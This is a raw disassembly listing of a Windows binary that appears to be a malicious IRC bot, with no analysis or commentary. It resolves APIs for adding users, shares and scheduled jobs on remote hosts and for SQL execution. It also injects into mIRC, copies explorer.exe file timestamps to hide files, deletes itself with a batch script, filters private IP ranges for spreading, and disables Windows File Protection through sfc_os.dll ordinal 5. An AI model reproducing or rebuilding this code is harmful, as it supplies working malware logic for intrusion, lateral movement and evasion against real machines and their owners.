		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4C47A4, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4C46F0, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4C4780, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4C46D0, eax
		call	esi	; GetProcAddress
		cmp	dword_4C46A0, ebx
		mov	dword_4C479C, eax
		jz	loc_408515
		cmp	dword_4C4604, ebx
		jz	loc_408515
		cmp	dword_4C471C, ebx
		jz	loc_408515
		cmp	dword_4C4764, ebx
		jz	loc_408515
		cmp	dword_4C4748, ebx
		jz	loc_408515
		cmp	dword_4C47A8, ebx
		jz	loc_408515
		cmp	dword_4C4690, ebx
		jz	loc_408515
		cmp	dword_4C4624, ebx
		jz	loc_408515
		cmp	dword_4C463C, ebx
		jz	loc_408515
		cmp	dword_4C4710, ebx
		jz	loc_408515
		cmp	dword_4C4704, ebx
		jz	loc_408515
		cmp	dword_4C47DC, ebx
		jz	short loc_408515
		cmp	dword_4C47B8, ebx
		jz	short loc_408515
		cmp	dword_4C4784, ebx
		jz	short loc_408515
		cmp	dword_4C4724, ebx
		jz	short loc_408515
		cmp	dword_4C465C, ebx
		jz	short loc_408515
		cmp	dword_4C45F4, ebx
		jz	short loc_408515
		cmp	dword_4C4618, ebx
		jz	short loc_408515
		cmp	dword_4C4768, ebx
		jz	short loc_408515
		cmp	dword_4C4734, ebx
		jz	short loc_408515
		cmp	dword_4C47B4, ebx
		jz	short loc_408515
		cmp	dword_4C464C, ebx
		jz	short loc_408515
		cmp	dword_4C46AC, ebx
		jz	short loc_408515
		cmp	dword_4C45F8, ebx
		jz	short loc_408515
		cmp	dword_4C47A4, ebx
		jz	short loc_408515
		cmp	dword_4C46F0, ebx
		jz	short loc_408515
		cmp	dword_4C4780, ebx
		jz	short loc_408515
		cmp	eax, ebx
		jnz	short loc_40851F


loc_408515:				; CODE XREF: sub_407D3E+6D5j
					; sub_407D3E+6E1j ...
		mov	dword_4C4804, 1


loc_40851F:				; CODE XREF: sub_407D3E+7D5j
		mov	ebp, dword_4190AC


loc_408525:				; CODE XREF: sub_407D3E+907j
		push	offset aWininet_dll ; "wininet.dll"
		call	dword_4190F0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40864A
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4C4608, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4C47D8, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4C46B8, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4C47D4, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4C46C4, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4C4628, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4C4698, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4C4600, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4C473C, eax
		call	esi	; GetProcAddress
		cmp	dword_4C4608, ebx
		mov	ecx, dword_4C4628
		mov	dword_4C46EC, eax
		jz	short loc_40860A
		cmp	dword_4C47D8, ebx
		jz	short loc_40860A
		cmp	dword_4C46B8, ebx
		jz	short loc_40860A
		cmp	dword_4C47D4, ebx
		jz	short loc_40860A
		cmp	dword_4C46C4, ebx
		jz	short loc_40860A
		cmp	ecx, ebx
		jz	short loc_40860A
		cmp	dword_4C4698, ebx
		jz	short loc_40860A
		cmp	dword_4C4600, ebx
		jz	short loc_40860A
		cmp	dword_4C473C, ebx
		jz	short loc_40860A
		cmp	eax, ebx
		jnz	short loc_408614


loc_40860A:				; CODE XREF: sub_407D3E+88Aj
					; sub_407D3E+892j ...
		mov	dword_4C480C, 1


loc_408614:				; CODE XREF: sub_407D3E+8CAj
		cmp	ecx, ebx
		jz	short loc_408661
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4C468C, eax
		jnz	short loc_408661
		jmp	short loc_40865B
; ---------------------------------------------------------------------------


loc_40862E:				; CODE XREF: sub_407D3E+536j
		mov	ebp, dword_4190AC
		call	ebp	; RtlGetLastWin32Error
		mov	dword_4C4808, eax
		mov	dword_4C4804, 1
		jmp	loc_408525
; ---------------------------------------------------------------------------


loc_40864A:				; CODE XREF: sub_407D3E+7F6j
		call	ebp	; RtlGetLastWin32Error
		mov	dword_4C4810, eax
		mov	dword_4C480C, 1


loc_40865B:				; CODE XREF: sub_407D3E+8EEj
		mov	dword_4C468C, ebx


loc_408661:				; CODE XREF: sub_407D3E+8D8j
					; sub_407D3E+8ECj
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	dword_4190F0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40875B
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4C4674, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4C4694, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4C4790, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4C4638, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4C46C8, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4C45FC, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4C4658, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4C4758, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4C466C, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4C4678, eax
		call	esi	; GetProcAddress
		cmp	dword_4C4674, ebx
		mov	dword_4C46A4, eax
		jz	short loc_408762
		cmp	dword_4C4694, ebx
		jz	short loc_408762
		cmp	dword_4C4790, ebx
		jz	short loc_408762
		cmp	dword_4C4638, ebx
		jz	short loc_408762
		cmp	dword_4C46C8, ebx
		jz	short loc_408762
		cmp	dword_4C45FC, ebx
		jz	short loc_408762
		cmp	dword_4C4658, ebx
		jz	short loc_408762
		cmp	dword_4C4758, ebx
		jz	short loc_408762
		cmp	dword_4C466C, ebx
		jz	short loc_408762
		cmp	dword_4C4678, ebx
		jz	short loc_408762
		cmp	eax, ebx
		jnz	short loc_40876C
		jmp	short loc_408762
; ---------------------------------------------------------------------------


loc_40875B:				; CODE XREF: sub_407D3E+932j
		call	ebp	; RtlGetLastWin32Error
		mov	dword_4C4818, eax


loc_408762:				; CODE XREF: sub_407D3E+9CDj
					; sub_407D3E+9D5j ...
		mov	dword_4C4814, 1


loc_40876C:				; CODE XREF: sub_407D3E+A19j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	dword_4190F0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4087A5
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4C4774, eax
		call	esi	; GetProcAddress
		cmp	dword_4C4774, ebx
		mov	dword_4C46F4, eax
		jz	short loc_4087AC
		cmp	eax, ebx
		jnz	short loc_4087B6
		jmp	short loc_4087AC
; ---------------------------------------------------------------------------


loc_4087A5:				; CODE XREF: sub_407D3E+A3Dj
		call	ebp	; RtlGetLastWin32Error
		mov	dword_4C4820, eax


loc_4087AC:				; CODE XREF: sub_407D3E+A5Fj
					; sub_407D3E+A65j
		mov	dword_4C481C, 1


loc_4087B6:				; CODE XREF: sub_407D3E+A63j
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	dword_4190F0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4087EF
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4C469C, eax
		call	esi	; GetProcAddress
		cmp	dword_4C469C, ebx
		mov	dword_4C46FC, eax
		jz	short loc_4087F6
		cmp	eax, ebx
		jnz	short loc_408800
		jmp	short loc_4087F6
; ---------------------------------------------------------------------------


loc_4087EF:				; CODE XREF: sub_407D3E+A87j
		call	ebp	; RtlGetLastWin32Error
		mov	dword_4C4828, eax


loc_4087F6:				; CODE XREF: sub_407D3E+AA9j
					; sub_407D3E+AAFj
		mov	dword_4C4824, 1


loc_408800:				; CODE XREF: sub_407D3E+AADj
		push	offset aMpr_dll	; "mpr.dll"
		call	dword_4190F0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_408863
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4C4730, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4C47C4, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4C4668, eax
		call	esi	; GetProcAddress
		cmp	dword_4C4730, ebx
		mov	dword_4C4620, eax
		jz	short loc_40886A
		cmp	dword_4C47C4, ebx
		jz	short loc_40886A
		cmp	dword_4C4668, ebx
		jz	short loc_40886A
		cmp	eax, ebx
		jnz	short loc_408874
		jmp	short loc_40886A
; ---------------------------------------------------------------------------


loc_408863:				; CODE XREF: sub_407D3E+AD1j
		call	ebp	; RtlGetLastWin32Error
		mov	dword_4C4830, eax


loc_40886A:				; CODE XREF: sub_407D3E+B0Dj
					; sub_407D3E+B15j ...
		mov	dword_4C482C, 1


loc_408874:				; CODE XREF: sub_407D3E+B21j
		push	offset aShell32_dll ; "shell32.dll"
		call	dword_4190F0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4088AD
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4C4798, eax
		call	esi	; GetProcAddress
		cmp	dword_4C4798, ebx
		mov	dword_4C4660, eax
		jz	short loc_4088B4
		cmp	eax, ebx
		jnz	short loc_4088BE
		jmp	short loc_4088B4
; ---------------------------------------------------------------------------


loc_4088AD:				; CODE XREF: sub_407D3E+B45j
		call	ebp	; RtlGetLastWin32Error
		mov	dword_4C4838, eax


loc_4088B4:				; CODE XREF: sub_407D3E+B67j
					; sub_407D3E+B6Dj
		mov	dword_4C4834, 1


loc_4088BE:				; CODE XREF: sub_407D3E+B6Bj
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	dword_4190F0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40894B
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4C477C, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4C4644, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4C4794, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4C46B4, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4C4740, eax
		call	esi	; GetProcAddress
		cmp	dword_4C477C, ebx
		mov	dword_4C4654, eax
		jz	short loc_408952
		cmp	dword_4C4644, ebx
		jz	short loc_408952
		cmp	dword_4C4794, ebx
		jz	short loc_408952
		cmp	dword_4C46B4, ebx
		jz	short loc_408952
		cmp	dword_4C4740, ebx
		jz	short loc_408952
		cmp	eax, ebx
		jnz	short loc_40895C
		jmp	short loc_408952
; ---------------------------------------------------------------------------


loc_40894B:				; CODE XREF: sub_407D3E+B8Fj
		call	ebp	; RtlGetLastWin32Error
		mov	dword_4C4840, eax


loc_408952:				; CODE XREF: sub_407D3E+BE5j
					; sub_407D3E+BEDj ...
		mov	dword_4C483C, 1


loc_40895C:				; CODE XREF: sub_407D3E+C09j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		inc	eax
		pop	ebx
		retn
sub_407D3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408964	proc near		; CODE XREF: .text:0040B775p
					; sub_418041+Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_40E04D
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		inc	eax
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_41B1E0
		call	sub_40E2E4
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_408964	endp


; =============== S U B	R O U T	I N E =======================================



sub_408995	proc near		; CODE XREF: sub_40198E+1FBCp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	edi
		mov	ebx, offset aMirc ; "mIRC"
		push	ebx
		call	dword_4191E4	; FindWindowA
		mov	esi, eax
		cmp	esi, edi
		mov	[esp+10h+var_4], esi
		jz	short loc_408A17
		push	ebp
		push	ebx
		push	1000h
		push	edi
		push	4
		push	edi
		push	0FFFFFFFFh
		call	dword_41912C	; CreateFileMappingA
		push	edi
		push	edi
		push	edi
		mov	ebx, eax
		push	0F001Fh
		push	ebx
		call	dword_419128	; MapViewOfFile
		push	[esp+14h+arg_0]
		mov	ebp, eax
		push	ebp
		call	sub_40D6BB
		pop	ecx
		pop	ecx
		push	edi
		push	1
		push	4C8h
		push	esi
		mov	esi, dword_4191E8
		call	esi	; SendMessageA
		push	edi
		push	1
		push	4C9h
		push	[esp+20h+var_4]
		call	esi	; SendMessageA
		push	ebp
		call	dword_419124	; UnmapViewOfFile
		push	ebx
		call	dword_419064	; CloseHandle
		xor	eax, eax
		inc	eax
		pop	ebp
		jmp	short loc_408A19
; ---------------------------------------------------------------------------


loc_408A17:				; CODE XREF: sub_408995+1Bj
		xor	eax, eax


loc_408A19:				; CODE XREF: sub_408995+80j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_408995	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408A1E	proc near		; CODE XREF: sub_40479E+BCp

var_7D0		= dword	ptr -7D0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	edi
		push	7D0h
		xor	ebx, ebx
		lea	eax, [ebp+var_7D0]
		push	ebx
		push	eax
		call	sub_40D7B0
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_40D630
		xor	edi, edi
		inc	edi
		add	esp, 10h
		cmp	eax, edi
		jge	short loc_408A56
		or	eax, 0FFFFFFFFh
		jmp	short loc_408ABD
; ---------------------------------------------------------------------------


loc_408A56:				; CODE XREF: sub_408A1E+31j
		xor	ecx, ecx
		cmp	eax, ebx
		mov	[ebp+var_7D0], esi
		jle	short loc_408A77


loc_408A62:				; CODE XREF: sub_408A1E+57j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_408A6F
		cmp	dl, 0Dh
		jnz	short loc_408A72


loc_408A6F:				; CODE XREF: sub_408A1E+4Aj
		mov	[ecx+esi], bl


loc_408A72:				; CODE XREF: sub_408A1E+4Fj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_408A62


loc_408A77:				; CODE XREF: sub_408A1E+42j
		xor	edx, edx
		cmp	eax, ebx
		jle	short loc_408A9F


loc_408A7D:				; CODE XREF: sub_408A1E+7Fj
		cmp	[edx+esi], bl
		jnz	short loc_408A9A
		lea	ecx, [edx+esi+1]
		cmp	[ecx], bl
		jz	short loc_408A9A
		cmp	edi, 1F4h
		jge	short loc_408A9F
		mov	[ebp+edi*4+var_7D0], ecx
		inc	edi


loc_408A9A:				; CODE XREF: sub_408A1E+62j
					; sub_408A1E+6Aj
		inc	edx
		cmp	edx, eax
		jl	short loc_408A7D


loc_408A9F:				; CODE XREF: sub_408A1E+5Dj
					; sub_408A1E+72j
		cmp	[ebp+arg_4], ebx
		jz	short loc_408ABB
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	eax
		push	[ebp+arg_4]
		call	sub_40E3A0
		add	esp, 0Ch


loc_408ABB:				; CODE XREF: sub_408A1E+84j
		mov	eax, edi


loc_408ABD:				; CODE XREF: sub_408A1E+36j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408A1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408AC2	proc near		; CODE XREF: sub_404BAB+28Ep

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	esi
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_11C]
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4C46B0
		test	eax, eax
		jz	short loc_408B63
		push	ebx
		push	edi
		push	esi
		mov	edi, 80h
		push	edi
		push	3
		push	esi
		mov	esi, dword_4190E0
		push	1
		push	80000000h
		lea	eax, [ebp+var_11C]
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_408B61
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_419130	; GetFileTime
		push	ebx
		mov	ebx, dword_419064
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_408B61
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_419198	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_408B61:				; CODE XREF: sub_408AC2+51j
					; sub_408AC2+87j
		pop	edi
		pop	ebx


loc_408B63:				; CODE XREF: sub_408AC2+28j
		pop	esi
		leave
		retn
sub_408AC2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B66	proc near		; CODE XREF: sub_40198E:loc_402E8Dp
					; sub_4056A2+41Dp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_41E134, esi
		push	edi
		jz	short loc_408B82
		push	esi
		call	start
		pop	ecx


loc_408B82:				; CODE XREF: sub_408B66+13j
		call	sub_40A9B3
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_4190A0	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		lea	eax, [ebp+var_260]
		push	eax
		call	dword_4190E0	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_408CE2
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_4190DC	; WriteFile
		push	edi
		call	dword_419064	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_40D7B0
		push	44h
		pop	edi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		call	sub_40D7B0
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		push	edi
		lea	eax, [ebp+var_15C]
		push	eax
		push	esi
		mov	[ebp+var_4C], offset word_41994E
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_419094	; GetModuleHandleA
		push	eax
		call	dword_419090	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_4190C4	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408C8A
		push	80h
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_419078	; SetFileAttributesA


loc_408C8A:				; CODE XREF: sub_408B66+110j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_40D6BB
		add	esp, 10h
		push	edi
		lea	eax, [ebp+var_364]
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_419134	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		push	esi
		lea	eax, [ebp+var_364]
		push	eax
		push	esi
		call	dword_41909C	; CreateProcessA


loc_408CE2:				; CODE XREF: sub_408B66+6Aj
		pop	edi
		pop	esi
		leave
		retn
sub_408B66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408CE6	proc near		; CODE XREF: sub_40198E+10DBp
					; sub_40198E+18FFp ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		push	eax
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_41922C	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset dword_419868
		mov	esi, offset dword_4C4854
		push	esi
		call	sub_40D6BB
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_408CE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408D3F	proc near		; CODE XREF: sub_40198E+1905p
					; sub_40198E+2791p

var_30		= byte ptr -30h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		cmp	[ebp+arg_0], 0
		jz	short loc_408D5E
		push	offset word_41994E
		push	[ebp+arg_0]
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_408D62


loc_408D5E:				; CODE XREF: sub_408D3F+Aj
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_408D62:				; CODE XREF: sub_408D3F+1Dj
		push	esi
		push	edi
		push	20h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_40DB80
		mov	esi, offset a_	; "."
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_40E1DE
		add	esp, 14h
		test	eax, eax
		mov	[ebp+var_10], eax
		jz	loc_408E32
		xor	edi, edi
		inc	edi


loc_408D92:				; CODE XREF: sub_408D3F+6Dj
		push	esi
		push	0
		call	sub_40E1DE
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[ebp+edi*4+var_10], eax
		jz	loc_408E32
		inc	edi
		cmp	edi, 4
		jl	short loc_408D92
		mov	esi, [ebp+var_10]
		push	offset a10	; "10"
		push	esi
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_408DC6


loc_408DC2:				; CODE XREF: sub_408D3F+A9j
					; sub_408D3F+CDj ...
		mov	al, 1
		jmp	short loc_408E34
; ---------------------------------------------------------------------------


loc_408DC6:				; CODE XREF: sub_408D3F+81j
		push	offset a172	; "172"
		push	esi
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_408DEA
		push	offset a16	; "16"
		push	[ebp+var_C]
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_408DC2


loc_408DEA:				; CODE XREF: sub_408D3F+96j
		push	offset a192	; "192"
		push	esi
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_408E0E
		push	offset a168	; "168"
		push	[ebp+var_C]
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_408DC2


loc_408E0E:				; CODE XREF: sub_408D3F+BAj
		push	offset a90	; "90"
		push	esi
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_408E32
		push	offset a0	; "0"
		push	[ebp+var_C]
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_408DC2


loc_408E32:				; CODE XREF: sub_408D3F+4Aj
					; sub_408D3F+63j ...
		xor	al, al


loc_408E34:				; CODE XREF: sub_408D3F+85j
		pop	edi
		pop	esi
		leave
		retn
sub_408D3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_408E38	proc near		; CODE XREF: sub_409FA5+7p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4C4704
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_408E60
		push	[esp+arg_0]
		call	dword_4C46F0
		test	eax, eax
		jnz	short loc_408E59
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_408E59:				; CODE XREF: sub_408E38+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_408E60:				; CODE XREF: sub_408E38+Dj
		retn
sub_408E38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_408E61	proc near		; CODE XREF: sub_404901+15Ap

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_80		= byte ptr -80h

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 94h
		lea	eax, [ebp+78h+var_94]
		push	eax
		mov	[ebp+78h+var_94], 94h
		call	dword_419138	; GetVersionExA
		cmp	[ebp+78h+var_90], 5
		jnz	short loc_408EA2
		cmp	[ebp+78h+var_8C], 1
		jnz	short loc_408EA2
		lea	eax, [ebp+78h+var_80]
		push	offset a2	; "2"
		push	eax
		call	sub_40D810
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_408EA2
		xor	eax, eax
		inc	eax
		jmp	short loc_408EA4
; ---------------------------------------------------------------------------


loc_408EA2:				; CODE XREF: sub_408E61+20j
					; sub_408E61+26j ...
		xor	eax, eax


loc_408EA4:				; CODE XREF: sub_408E61+3Fj
		add	ebp, 78h
		leave
		retn
sub_408E61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408EA9	proc near		; CODE XREF: sub_408EF0+C3p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	100h
		lea	eax, [ebp+var_200]
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	dword_41913C	; MultiByteToWideChar
		push	offset aSfc_os_dll ; "sfc_os.dll"
		call	dword_4190F0	; LoadLibraryA
		push	5
		push	eax
		call	dword_4190F8	; GetProcAddress
		push	0FFFFFFFFh
		lea	ecx, [ebp+var_200]
		push	ecx
		push	0
		call	eax
